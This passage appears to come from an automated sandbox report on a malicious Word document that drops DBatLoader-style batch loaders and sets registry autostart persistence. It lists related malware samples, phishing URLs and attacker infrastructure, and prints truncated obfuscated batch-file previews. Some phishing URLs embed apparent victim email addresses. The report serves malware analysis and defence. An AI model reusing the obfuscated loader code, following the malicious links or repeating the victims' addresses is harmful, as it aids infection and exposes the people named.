                                                                                                                                    • Found application associated with file extension: .doc
                                                                                                                                    • Found Word or Excel or PowerPoint or XPS Viewer
                                                                                                                                    • Attach to Office via COM
                                                                                                                                    • Scroll down
                                                                                                                                    • Close Viewer
                                                                                                                                    • Override analysis time to 79953.45 for current running targets taking high CPU consumption

                                                                                                                                    Warnings

                                                                                                                                    • Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe
                                                                                                                                    • Excluded IPs from analysis (whitelisted): 52.109.76.240, 52.113.194.132, 184.28.90.27, 52.111.231.25, 52.111.231.23, 52.111.231.26, 52.111.231.24, 52.168.117.170, 2.20.245.216, 2.20.245.225, 52.109.89.19, 23.200.88.61, 23.200.88.73, 88.221.110.138, 88.221.110.227, 40.126.32.133, 20.109.210.53, 13.107.246.45
                                                                                                                                    • Excluded domains from analysis (whitelisted): binaries.templates.cdn.office.net.edgesuite.net, slscr.update.microsoft.com, templatesmetadata.office.net.edgekey.net, weu-azsc-000.roaming.officeapps.live.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, eur.roaming1.live.com.akadns.net, a1847.dscg2.akamai.net, ecs-office.s-0005.s-msedge.net, roaming.officeapps.live.com, osiprod-weu-buff-azsc-000.westeurope.cloudapp.azure.com, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, officeclient.microsoft.com, templatesmetadata.office.net, prod.fs.microsoft.com.akadns.net, onedscolprdeus13.eastus.cloudapp.azure.com, ecs.office.com, self-events-data.trafficmanager.net, fs.microsoft.com, otelrules.azureedge.net, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, ctldl.windowsupdate.com, prod.roaming1.live.com.akadns.net, s-0005-office.config.skype.com, fe3cr.delivery.mp.microsoft.com, prod1.naturallanguageeditorservice.osi.office.net.akad
                                                                                                                                    • Not all processes where analyzed, report is missing behavior information
                                                                                                                                    • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                                                                                    • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                                    • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                                                                                    • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                                    • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                                                    • Report size getting too big, too many NtQueryAttributesFile calls found.
                                                                                                                                    • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                                    • Report size getting too big, too many NtReadVirtualMemory calls found.
                                                                                                                                    • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                                    • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

                                                                                                                                    Simulations

                                                                                                                                    Behavior and APIs

                                                                                                                                    TimeTypeDescription
                                                                                                                                    02:08:12API Interceptor2x Sleep call for process: brightness.exe modified
                                                                                                                                    02:08:24API Interceptor6676823x Sleep call for process: npratlsN.pif modified
                                                                                                                                    02:08:29API Interceptor2x Sleep call for process: Nsltarpn.PIF modified
                                                                                                                                    07:08:21AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Nsltarpn C:\Users\Public\Nsltarpn.url
                                                                                                                                    07:08:29AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Nsltarpn C:\Users\Public\Nsltarpn.url

                                                                                                                                    Joe Sandbox View / Context

                                                                                                                                    IPs

                                                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                    132.226.8.169tN8GsMV1le.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                    • checkip.dyndns.org/
                                                                                                                                    QUOTATION REQUIRED_Enatel s.r.l..bat.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                    • checkip.dyndns.org/
                                                                                                                                    PDF-3093900299039 pdf.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                    • checkip.dyndns.org/
                                                                                                                                    Receipt-2502-AJL2024.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                    • checkip.dyndns.org/
                                                                                                                                    c7WJL1gt32.exeGet hashmaliciousGuLoader, MassLogger RATBrowse
                                                                                                                                    • checkip.dyndns.org/
                                                                                                                                    MBOaS3GRtF.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                                                                    • checkip.dyndns.org/
                                                                                                                                    fpIGwanLZi.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                                                                    • checkip.dyndns.org/
                                                                                                                                    4NG0guPiKA.exeGet hashmaliciousGuLoader, MassLogger RATBrowse
                                                                                                                                    • checkip.dyndns.org/
                                                                                                                                    uVpytXGpQz.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                                                                    • checkip.dyndns.org/
                                                                                                                                    H75MnQEha8.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                    • checkip.dyndns.org/
                                                                                                                                    104.21.16.1MACHINE SPECIFICATIONS.exeGet hashmaliciousFormBookBrowse
                                                                                                                                    • www.mzkd6gp5.top/3u0p/
                                                                                                                                    1001-13.exeGet hashmaliciousFormBookBrowse
                                                                                                                                    • www.mzkd6gp5.top/utww/
                                                                                                                                    trow.exeGet hashmaliciousUnknownBrowse
                                                                                                                                    • www.wifi4all.nl/
                                                                                                                                    8L6MBxaJ2m.exeGet hashmaliciousFormBookBrowse
                                                                                                                                    • www.rafconstrutora.online/0xli/
                                                                                                                                    NFhRxwbegd.exeGet hashmaliciousFormBookBrowse
                                                                                                                                    • www.kkpmoneysocial.top/86am/
                                                                                                                                    JNKHlxGvw4.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                                                                                                    • 188387cm.n9shteam.in/videolinePipeHttplowProcessorgamelocalTemp.php

                                                                                                                                    Domains

                                                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                    mail.irco.com.saPI ITS15235.docGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                    • 46.151.208.21
                                                                                                                                    SP0npSA64a.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                    • 46.151.208.21
                                                                                                                                    7DI4iYwcvw.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                    • 46.151.208.21
                                                                                                                                    amazonenviro.comzYj1wg0cM2.docGet hashmaliciousDBatLoaderBrowse
                                                                                                                                    • 166.62.27.188
                                                                                                                                    ENQ-0092025.docGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                    • 166.62.27.188
                                                                                                                                    yxU3AgeVTi.exeGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                    • 166.62.27.188
                                                                                                                                    ITT # KRPBV2663 .docGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                    • 166.62.27.188
                                                                                                                                    PI ITS15235.docGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                    • 166.62.27.188
                                                                                                                                    reallyfreegeoip.orgtN8GsMV1le.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                    • 104.21.32.1
                                                                                                                                    slime crypted.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                    • 104.21.48.1
                                                                                                                                    rOrders.scr.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                                                                    • 104.21.32.1
                                                                                                                                    MB263350411AE.scr.exeGet hashmaliciousMassLogger RAT, PureLog StealerBrowse
                                                                                                                                    • 104.21.112.1
                                                                                                                                    QUOTATION REQUIRED_Enatel s.r.l..bat.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                    • 104.21.112.1
                                                                                                                                    Remittance Advice.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                    • 104.21.32.1
                                                                                                                                    SOA.scr.exeGet hashmaliciousMassLogger RAT, PureLog StealerBrowse
                                                                                                                                    • 104.21.112.1
                                                                                                                                    PDF-3093900299039 pdf.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                    • 104.21.32.1
                                                                                                                                    FA_35_01_2025_STA_Wz#U00f3r_standard_pdf .scr.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                                                                    • 104.21.80.1
                                                                                                                                    QUOTATION#090125-ELITEMARINE.exeGet hashmaliciousMassLogger RAT, PureLog StealerBrowse
                                                                                                                                    • 104.21.80.1
                                                                                                                                    api.telegram.orgslime crypted.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                    • 149.154.167.220
                                                                                                                                    ElixirInjector.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                                                                                                    • 149.154.167.220
                                                                                                                                    QUOTATION REQUIRED_Enatel s.r.l..bat.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                    • 149.154.167.220
                                                                                                                                    Remittance Advice.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                    • 149.154.167.220
                                                                                                                                    PDF-3093900299039 pdf.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                    • 149.154.167.220
                                                                                                                                    FA_35_01_2025_STA_Wz#U00f3r_standard_pdf .scr.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                                                                    • 149.154.167.220
                                                                                                                                    https://ngk.ae/hurda.html?email=lara.sutton@southerntrust.hscni.netGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                    • 149.154.167.220
                                                                                                                                    https://terrific-metal-countess.glitch.me/Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                    • 149.154.167.220
                                                                                                                                    6uPVRnocVS.exeGet hashmaliciousDCRatBrowse
                                                                                                                                    • 149.154.167.220
                                                                                                                                    Udzp7lL5ns.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                                                                                                    • 149.154.167.220

                                                                                                                                    ASNs

                                                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                    TELEGRAMRUhttp://bu9.fysou.web.id/webs6/cx.aktifkn.fiturrGet hashmaliciousUnknownBrowse
                                                                                                                                    • 149.154.164.13
                                                                                                                                    http://bu9.fysou.web.id/webs6/aktrfn.fitur.pylterGet hashmaliciousUnknownBrowse
                                                                                                                                    • 149.154.164.13
                                                                                                                                    Handler.exeGet hashmaliciousDanaBot, VidarBrowse
                                                                                                                                    • 149.154.167.99
                                                                                                                                    sysadmin.exeGet hashmaliciousVidarBrowse
                                                                                                                                    • 149.154.167.99
                                                                                                                                    JUbmpeT.exeGet hashmaliciousVidarBrowse
                                                                                                                                    • 149.154.167.99
                                                                                                                                    slime crypted.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                    • 149.154.167.220
                                                                                                                                    ElixirInjector.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                                                                                                    • 149.154.167.220
                                                                                                                                    QUOTATION REQUIRED_Enatel s.r.l..bat.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                    • 149.154.167.220
                                                                                                                                    Remittance Advice.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                    • 149.154.167.220
                                                                                                                                    PDF-3093900299039 pdf.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                    • 149.154.167.220
                                                                                                                                    CLOUDFLARENETUShttps://tinyurl.com/286oc4lyGet hashmaliciousUnknownBrowse
                                                                                                                                    • 104.17.112.233
                                                                                                                                    http://hotpepperliberia.comGet hashmaliciousUnknownBrowse
                                                                                                                                    • 172.67.130.110
                                                                                                                                    https://email.lc.haxconsulting.com/c/eJx0k0tv4zgQhH-NdBk4kKgHrQMPdhI5mck78djJRaDIlsSYD4WkpLF__cJOsLvAZq_FLnbhQzWrBCdJS6-fh9_RaK9H9Muk6c9yE3LCCkjrLORGUaGJZGcd_cOMdoP0QrdnzKivt8pMGqzrRF_5fQ-EtqDZvqLOiVYDD4HEOMnxvMB5EoKiQlYKnKMtHLdv5i83BT5n4-tb-75JAbPHy6-p02-Mqp6KVv9LO9pyPE9ZwVKaZjlkgBjkRVEjHIIehTVagfakt4YPzAujw45EeRrF0RziBvIoyeskRxgwwlma0ajAPBQERSiL4jg55o2Ss2YOOYWszps4a5o6CtLoWwySdN73LkgWASoDVE7T9N-pAJXcTFoaymeOSmr3s3YQHGYDhSApG2GdrzRVECQXdyBkgHJJ_5GuqNsJ7QKUnzgEyYUGIbsvNY0644_656a874w-uqIs-lGk6Q-UFjiUrPpkKLQHq6kka1Q6vvq928YBWm7z65vVxHE3FgEq59i-jvvVs0xEw7L6_MK2IhvbP_TKJn77qF7k3TSixbC_V5cBWuI33j_fivpGtZOAqN0Zxga7eJCXr-uXzfMHlIcjgANevhv8USfN_ZM-L_Dhoeu38GTXt4sALYfFzheHl3LNy1VZjw8iQOU6QOWmvb3vrqbc9Y17WtynH9OVVkrF8qdedwDgHtt4eTkPpTn1ebm6Sd7eV-rWxvS93979kt02VOA7wwntRWisaIUm9SB3sxOQsLdmFBwskUA5M1oD88aGlvwv49CZwTIgJ_9MuHE2GbsDG3pyTPFtBE-YUdW31-YJ-Orvpo8E_RUAAP__dHE7QwGet hashmaliciousUnknownBrowse
                                                                                                                                    • 104.17.113.39
                                                                                                                                    http://bebizicon.com/Campususa/index.xml#?email=b2xpdmllci5kb3phdEBpbm5vY2FwLmNvbQ==Get hashmaliciousEvilProxy, HTMLPhisherBrowse
                                                                                                                                    • 172.67.74.152
                                                                                                                                    https://fsgospefx6g2.sg.larksuite.com/wiki/Y7ybwFESRiirQPkoARZlhCyVgFb?Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                    • 1.1.1.1
                                                                                                                                    http://mshare-54543.pages.dev/index-2tuka/Get hashmaliciousUnknownBrowse
                                                                                                                                    • 172.66.47.106
                                                                                                                                    https://iyztciuamr.cfolks.pl/ppGet hashmaliciousUnknownBrowse
                                                                                                                                    • 104.22.49.253
                                                                                                                                    http://bu9.fysou.web.id/webs6/cx.aktifkn.fiturrGet hashmaliciousUnknownBrowse
                                                                                                                                    • 104.26.6.173
                                                                                                                                    http://bu9.fysou.web.id/webs6/aktrfn.fitur.pylterGet hashmaliciousUnknownBrowse
                                                                                                                                    • 104.17.25.14
                                                                                                                                    http://pub-575fb9d74c7a46f0828b37cda8dd9c40.r2.dev/docu/e_protocol.html?eGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                    • 172.66.0.235
                                                                                                                                    UTMEMUStN8GsMV1le.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                    • 132.226.8.169
                                                                                                                                    rOrders.scr.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                                                                    • 132.226.247.73
                                                                                                                                    QUOTATION REQUIRED_Enatel s.r.l..bat.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                    • 132.226.8.169
                                                                                                                                    PDF-3093900299039 pdf.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                    • 132.226.8.169
                                                                                                                                    QUOTATION#090125-ELITEMARINE.exeGet hashmaliciousMassLogger RAT, PureLog StealerBrowse
                                                                                                                                    • 132.226.247.73
                                                                                                                                    Order_list.scr.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                                                                    • 132.226.247.73
                                                                                                                                    Receipt-2502-AJL2024.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                    • 132.226.8.169
                                                                                                                                    JWPRnfqs3n.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                    • 132.226.247.73
                                                                                                                                    c7WJL1gt32.exeGet hashmaliciousGuLoader, MassLogger RATBrowse
                                                                                                                                    • 132.226.8.169
                                                                                                                                    14lVOjBoI2.exeGet hashmaliciousGuLoader, MassLogger RATBrowse
                                                                                                                                    • 132.226.247.73
                                                                                                                                    AS-26496-GO-DADDY-COM-LLCUStrow.exeGet hashmaliciousUnknownBrowse
                                                                                                                                    • 107.180.98.101
                                                                                                                                    https://upholl-xlognusa.godaddysites.com/Get hashmaliciousUnknownBrowse
                                                                                                                                    • 198.71.248.123
                                                                                                                                    3.elfGet hashmaliciousUnknownBrowse
                                                                                                                                    • 184.168.52.170
                                                                                                                                    http://logiinnmaskemettaha93.godaddysites.com/Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                    • 198.71.248.123
                                                                                                                                    http://app-metamask.godaddysites.com/Get hashmaliciousUnknownBrowse
                                                                                                                                    • 198.71.248.123
                                                                                                                                    http://metamssk-luggiinn.godaddysites.com/Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                    • 198.71.248.123
                                                                                                                                    http://procustodiavalueslive.github.io/mediantime1db1d62ef90e6fec5644546bc086f16336d68481479f56e29285a338fc23/Get hashmaliciousHTMLPhisher, Mamba2FABrowse
                                                                                                                                    • 72.167.84.16
                                                                                                                                    n0nsAzvYNd.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                    • 166.62.28.135
                                                                                                                                    C5JLkBS1CX.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                    • 166.62.28.135
                                                                                                                                    zYj1wg0cM2.docGet hashmaliciousDBatLoaderBrowse
                                                                                                                                    • 166.62.27.188

                                                                                                                                    JA3 Fingerprints

                                                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                    54328bd36c14bd82ddaa0c04b25ed9adtN8GsMV1le.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                    • 104.21.16.1
                                                                                                                                    slime crypted.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                    • 104.21.16.1
                                                                                                                                    rOrders.scr.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                                                                    • 104.21.16.1
                                                                                                                                    MB263350411AE.scr.exeGet hashmaliciousMassLogger RAT, PureLog StealerBrowse
                                                                                                                                    • 104.21.16.1
                                                                                                                                    QUOTATION REQUIRED_Enatel s.r.l..bat.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                    • 104.21.16.1
                                                                                                                                    Remittance Advice.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                    • 104.21.16.1
                                                                                                                                    SOA.scr.exeGet hashmaliciousMassLogger RAT, PureLog StealerBrowse
                                                                                                                                    • 104.21.16.1
                                                                                                                                    PDF-3093900299039 pdf.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                    • 104.21.16.1
                                                                                                                                    FA_35_01_2025_STA_Wz#U00f3r_standard_pdf .scr.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                                                                    • 104.21.16.1
                                                                                                                                    QUOTATION#090125-ELITEMARINE.exeGet hashmaliciousMassLogger RAT, PureLog StealerBrowse
                                                                                                                                    • 104.21.16.1
                                                                                                                                    3b5074b1b5d032e5620f69f9f700ff0ehttps://performancemanager10.successfactors.com/sf/hrisworkflowapprovelink?workflowRequestId=V4-0-a1-iHQRWD3bQis7XhhWNKzjfWwnvURbEsN0CxUc27Zt3ml0ag&company=oceanagoldT2&username=dave.oliver@oceanagold.comGet hashmaliciousUnknownBrowse
                                                                                                                                    • 149.154.167.220
                                                                                                                                    https://imtcoken.im/Get hashmaliciousUnknownBrowse
                                                                                                                                    • 149.154.167.220
                                                                                                                                    https://ipfs.io/ipfs/bafkreidfpb2invnj4i76skys5sfmk3hycbkxhquyb7d6uhnbls3gwf4a5qGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                    • 149.154.167.220
                                                                                                                                    http://pub-575fb9d74c7a46f0828b37cda8dd9c40.r2.dev/docu/e_protocol.html?eGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                    • 149.154.167.220
                                                                                                                                    https://eb-ri18.vercel.app/verset.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                    • 149.154.167.220
                                                                                                                                    https://metahorizonsfacebooksupport.tempisite.com/italy39Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                    • 149.154.167.220
                                                                                                                                    http://ubiquitous-twilight-c9292b.netlify.app/Get hashmaliciousUnknownBrowse
                                                                                                                                    • 149.154.167.220
                                                                                                                                    https://jaffeusacanna-9646.vercel.app/zqh.heups/Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                    • 149.154.167.220
                                                                                                                                    https://realrectify.pages.dev/self/Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                    • 149.154.167.220
                                                                                                                                    http://www.startfortjeneste.com/Get hashmaliciousUnknownBrowse
                                                                                                                                    • 149.154.167.220
                                                                                                                                    a0e9f5d64349fb13191bc781f81f42e1183643586-388657435.07.exeGet hashmaliciousUnknownBrowse
                                                                                                                                    • 166.62.27.188
                                                                                                                                    uo9m.exeGet hashmaliciousLummaCBrowse
                                                                                                                                    • 166.62.27.188
                                                                                                                                    uo9m.exeGet hashmaliciousLummaCBrowse
                                                                                                                                    • 166.62.27.188
                                                                                                                                    YYYY-NNN AUDIT DETAIL REPORT .docxGet hashmaliciousUnknownBrowse
                                                                                                                                    • 166.62.27.188
                                                                                                                                    msit.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                    • 166.62.27.188
                                                                                                                                    tesr.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                    • 166.62.27.188
                                                                                                                                    WSLRT.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                    • 166.62.27.188
                                                                                                                                    msit.msiGet hashmaliciousLummaC StealerBrowse
                                                                                                                                    • 166.62.27.188

                                                                                                                                    Dropped Files

                                                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                    C:\Users\Public\Libraries\npratlsN.pifPO#3_RKG367.batGet hashmaliciousDBatLoader, MassLogger RAT, PureLog StealerBrowse
                                                                                                                                      ENQ-0092025.docGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                        yxU3AgeVTi.exeGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                          ITT # KRPBV2663 .docGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                            PI ITS15235.docGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                              PO#5_Tower_049.batGet hashmaliciousDBatLoader, MassLogger RAT, PureLog StealerBrowse
                                                                                                                                                HSBC_PAY.SCR.exeGet hashmaliciousDBatLoader, FormBookBrowse
                                                                                                                                                  PO_B2W984.comGet hashmaliciousDBatLoader, MassLogger RAT, PureLog StealerBrowse
                                                                                                                                                    image.exeGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                      PO_KB#67897.cmdGet hashmaliciousDBatLoader, MassLogger RAT, PureLog StealerBrowse

                                                                                                                                                        Created / dropped Files

                                                                                                                                                        C:\Users\Public\Libraries\FX.cmd

                                                                                                                                                        Download File
                                                                                                                                                        Process:C:\Windows\SysWOW64\brightness.exe
                                                                                                                                                        File Type:DOS batch file, Unicode text, UTF-8 text, with CRLF line terminators
                                                                                                                                                        Category:dropped
                                                                                                                                                        Size (bytes):8214
                                                                                                                                                        Entropy (8bit):4.674238519900089
                                                                                                                                                        Encrypted:false
                                                                                                                                                        SSDEEP:192:xmRmcVw5I1Rsv869gx2A9gB59zox8Y2MXNlT3l:xmcIDsss3ffY2MXDJ
                                                                                                                                                        MD5:7821E3DE3812E791CF3B223500D73BC9
                                                                                                                                                        SHA1:5E211B634CE77E6FEE83CE8A5B8C9A37C8B81E1D
                                                                                                                                                        SHA-256:3DAA7F9EEE129F61F7A452F7150EE21A1C4141586A37F37842B9C3BB53152A74
                                                                                                                                                        SHA-512:6EAE270065401626DF97B73A255578BF27B4F4DEA480954843823046AD95E40CF706C1A767C8765EF3AB48EA3A18498375614317EC00A9EF29A4DD21EDBC5F26
                                                                                                                                                        Malicious:false
                                                                                                                                                        Reputation:low
                                                                                                                                                        Preview:@echo off..set "kocp=sket "..@% . .......%e%..... ..%c% .%h%......%o%..r.o% %......%o%....o.... %f%r%f%.. .%..s%.%e%..%t%. ..% %.%"%..%X%.. %I%.......%n%.....%i%....... %=%.......%s%...%e%. .o.%t%.....% %.r..r....%"%.%..%XIni%"%... %s% ......%K%o.%x%..%H%......%=%.........o%=%. ...%"%...o..%..%XIni%"%..........%F%.r.. ... %J%.%I%.o%V%......%I%.%x%. %F%........%p%..........%s%....... .%T%r..%%sKxH%h%.o....o..%2%....r....r%s%.....%h%...o..%"% ... %..%XIni%"%. .%B%.........%m%.....%T%...o.%j%........%M%.%S%......

                                                                                                                                                        C:\Users\Public\Libraries\NEO.cmd

                                                                                                                                                        Download File
                                                                                                                                                        Process:C:\Windows\SysWOW64\brightness.exe
                                                                                                                                                        File Type:DOS batch file, Unicode text, UTF-8 text, with very long lines (372), with CRLF line terminators
                                                                                                                                                        Category:dropped
                                                                                                                                                        Size (bytes):28538
                                                                                                                                                        Entropy (8bit):4.650636495384082
                                                                                                                                                        Encrypted:false
                                                                                                                                                        SSDEEP:384:Y0iUTHG+EnI6DRfX67uezyCqIUEfDTfF3K0QNqTTwNv7lkqj3DRvCpoVsodnqgJW:YwWbDRfipu7IUkfYQ0Xkqjgww
                                                                                                                                                        MD5:E24FA8FB365A89779B026772B9342AF3
                                                                                                                                                        SHA1:B90DE3C9F3093CA8BADFAF6C98218B744087E8F9
                                                                                                                                                        SHA-256:10D7B4EA056FC1037109FE6E6694849D145B0745FAA9AE02957104A2834A14A0
                                                                                                                                                        SHA-512:A32F7A29C4C8CC831A5057B8DB31F79E7DEDB9172AC9705DA6A8DA65384ED23827C3CCCDB833562CDAB63ADDD679341707A2B46BBC8C802845CBBBBB01771D10
                                                                                                                                                        Malicious:false
                                                                                                                                                        Preview:@echo off..@%.. ..%e%r.%c%...r.%h%..%o%r........% %....%o%. ..%f%..........%f%....%..s%. ......%e%.... ...%t%.% %.. o..o.%"%r.r.......%x%.......%u%..o..... %u%.%y%.......%=%o..r..%s%..%e% o%t%r.......% %..o%"%..r.....%..%xuuy%"%.........%J%...%o%..r ....%Z%...%u%.......%=%.%=%..%"%..........%..%xuuy%"%....%s%.......%F%..r..o..o%o%.......%F%.... .....%G%..%l%.r... ....%F%.%k%.%a%. ...%g%ro.. %%JoZu%h%.%2% ...r.%s%..........%h% %"%... .....%..%xuuy%"%......%H%..%O%.....r..%D%.. .%B%..... ...%e%.....

                                                                                                                                                        C:\Users\Public\Libraries\Nsltarpn

                                                                                                                                                        Download File
                                                                                                                                                        Process:C:\Windows\SysWOW64\brightness.exe
                                                                                                                                                        File Type:data
                                                                                                                                                        Category:dropped
                                                                                                                                                        Size (bytes):587005
                                                                                                                                                        Entropy (8bit):7.97982343807899
                                                                                                                                                        Encrypted:false
                                                                                                                                                        SSDEEP:12288:7uJf6JY7FoblH0FkRaIHJ4tw0nCdxeJSRrUe9dZA:74f6q7Fw4Ga1twkqxegRoE0
                                                                                                                                                        MD5:C7A8C9CCD0074118575324C6AD87285B
                                                                                                                                                        SHA1:5FEE525990BE478BD0DD9C38BB65315A1140190C
                                                                                                                                                        SHA-256:D228F49F052E95B267E4DAB42958B8A039884A42C03857B3928C48F311FE3DFD
                                                                                                                                                        SHA-512:D10673B750FF592EFB0BD0A5DD5A9260AB1ACB33635D1985DEAB716BAE20C1C7F9195EF6208DA7EAEE8F97C2A6B5832AB9DAA593FDC78A32268CC993E8B7771E
                                                                                                                                                        Malicious:true
                                                                                                                                                        Preview:.....a...{..a..R...L..kJ..d...A.x.3%.>...F..:...;..-.w.,..9.w..?..9.q.a.-E..Q..@..6..32..O.....\,...k.H.y..y.J.s )..,.ug....gz..D..1..)...D..=. p.f.k.!w.@&$....qX.y.B.s_.~.6.z#K..g..OY.j.....y...s.2....i.-..gt..d......7....H[...|K_.....z\..o#.}.a._..e..*...2.t.f..:.t.R.-.....e.....>.....a../...U.%)..N....L./M.X.3W.....1$&.....A...S..U..1...(&${_.....C......*.. ).[!..Z..y.H.s....:...Xk.-%.._s..-x.2n.[W..L..J_.=n.X..x7j.P..y..=...&$u..K...o.G4..|...;A.l...7.j....b.p..h X..E..Z.k>..P.x>...;.r.....! ]...o..F..^...-..O..F ..(....R....]E.r&$*.d.-....`...<.>y.S...FY.\....?.q.e..M..._.. .h.DE..S.k.9.&&4....m$&6..|T>.#7..........=.r.}.F......7.(.....q...J..p3..M4.....D....1...i.).x.On......k.c"..9..8"..F...?.l.V..W...?..L.;...|.S.xS..?.o.?^.u.(..,.p...vN...R.s.S..^.{.`..)...1..f...8......R...a.._..J...y.<C.#9~i!6..M...\..J.P.D..6.....@...W.H>.%0...t.*..a...X..v.K..S...E%4^..0.i.........DQ.{..gT..p4...Y.h..h&$_....&$).....`...Gy.4.j./..N...P..P...c..Q..

                                                                                                                                                        C:\Users\Public\Libraries\Nsltarpn.PIF

                                                                                                                                                        Download File
                                                                                                                                                        Process:C:\Windows\SysWOW64\brightness.exe
                                                                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                        Category:dropped
                                                                                                                                                        Size (bytes):1443328
                                                                                                                                                        Entropy (8bit):7.456059208646829
                                                                                                                                                        Encrypted:false
